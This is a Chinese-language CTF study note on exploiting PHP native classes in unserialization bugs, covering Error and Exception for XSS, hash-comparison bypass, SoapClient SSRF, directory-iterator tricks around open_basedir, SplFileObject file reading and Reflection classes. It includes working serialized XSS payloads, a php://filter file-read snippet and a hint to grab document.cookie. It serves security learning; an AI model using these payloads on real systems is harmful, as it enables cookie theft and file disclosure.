适用类型

在PHP反序列化中,没有POP链或者POP链构造到一半无法进行下去,使用原生类进行XSS等。

使用Error/Exception类进行XSS

Error内置类

  • 适用php7版本
  • 开启报错情况

利用关键:

Error类中内置有_toString方法,在反序列化中经常调用,如果POP构造不了,就可以使用。

举例说明:

1
2
3
4
<?php
$a=unserialize($_GET['input']);
echo $a;
?>

POC:

1
2
3
4
5
6
<?php
$a = new Error("<script>alert('hello')</script>");
$b = serialize($a);
echo urlencode($b);
?>
//O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A31%3A%22%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

image-20230907191231629

可以看到成功XSS。

Exception类

  • 适用于php5或者php7的版本
  • 开启报错

还是上面那个例子

POC

1
2
3
4
5
6
<?php
$a = new Exception("<script>alert('hello')</script>");
$b = serialize($a);
echo urlencode($b);
?>
//O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A31%3A%22%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

image-20230907191549274

配合document.cookie就能获取cookie。

绕过哈希比较

原理:

利用报错类中的toString()方法,不同的报错实例生成相同的回显结果,来绕过比较。

1
2
3
<?php
$a = new Error("payload",1);
echo $a;

生成一个报错看看:

image-20230907192954017

生成两个看看:

1
2
3
4
5
6
<?php
$a = new Error("payload",1);
echo $a;
echo "<br>"; //便于观察
$b=new Error("payload",2);
echo $b;

image-20230907193129051

这两个报错实例的错误代码参数code不同,而且在回显内容上不显示错误代码参数,但是回显的内容还有显示报错代码的行数,所以我们要把a和b写在同一行。

1
2
3
4
5
<?php
$a = new Error("payload",1);$b=new Error("payload",2);
echo $a;
echo "<br>"; //便于观察
echo $b;

image-20230907193448046

这样回显就一致了。

image-20230907194020931

成功绕过。

使用SoapClient类进行SSRF

SoapClient类

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。

使用 DirectoryIterator 类和FilesystemIterator类绕过 open_basedir

在这两个类同样有__toStringe类获取字符串文件名,可以直接配合glob伪协议进行读取目录。

DirectoryIterator类

1
2
3
4
5
6
7
8
<?php
highlight_file(__file__);
$dir = $_GET['dir'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

image-20230908104432994

使用glob协议读取根目录。

1
2
3
4
5
6
7
8
<?php
highlight_file(__file__);
$dir = $_GET['dir'];
$a = new FilesystemIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

image-20230908104642751

GlobIterator 类也是可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。不需要使用glob,直接读取就行。

image-20230908105345478

SplFileInfo类读取文件内容

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

上面那几个类只能读取文件目录,SplFileInfo类为单个文件的信息提供了高级的面向对象接口
SplFileInfo::__toString — Returns the path to the file as a string //将文件路径作为字符串返回

image-20230908110141512

也可以使用php伪协议进行读取:

1
2
3
4
5
<?php
error_reporting(0);
highlight_file(file);
$context =new SplFileObject('php://filter/convert.base64-encode/resource=flag.txt');
foreach($context as $f){ echo($f);}

要进行base64编码,不然好像不行。

image-20230908131443584

利用:

在反序列化的题目,如果有类似echo new $a($b)中a和b参数可控,就可以使用以上类进行读取文件或者目录。利用的本质还是调用__toString方法。

反射Reflection类

使用ReflectionClass类读取类的属性和方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class FlagIsHere
{
/**
* 这是测试方法
* flag{success}
* @return int
*/
protected function GiveMeFlag()
{
return 9999;
}
}

$ref = new ReflectionClass('FlagIsHere');
var_dump($ref);

image-20230908114100916

可以看到成功输出FlagIsHere类的方法和属性。

使用 ReflectionMethod 类获取类方法的相关信息

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class FlagIsHere
{
/**
* 这是测试方法
* flag{success}
* @return int
*/
protected function GiveMeFlag()
{
return 9999;
}
}

$ref = new ReflectionMethod('FlagIsHere','GiveMeFlag');
var_dump($ref->getDocComment());

image-20230908112549717

使用ReflectionFunction类调用函数

ReflectionFunction 类报告了一个函数的有关信息。其中invokeArgs()方法能够用来调用。

1
2
3
4
5
6
7
8
9
10
<?php
function Name( $name)
{
return sprintf("%s\r\n", $name);
}

$function = new ReflectionFunction('Name');

echo $function->invokeArgs(array('Dragon'));
?>

image-20230908114926791

如果是调用无参的函数,那就用invoke

image-20230908132309676

参考文章

https://xz.aliyun.com/t/9293

https://johnfrod.top/%E5%AE%89%E5%85%A8/ctf-%E4%B8%AD-php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/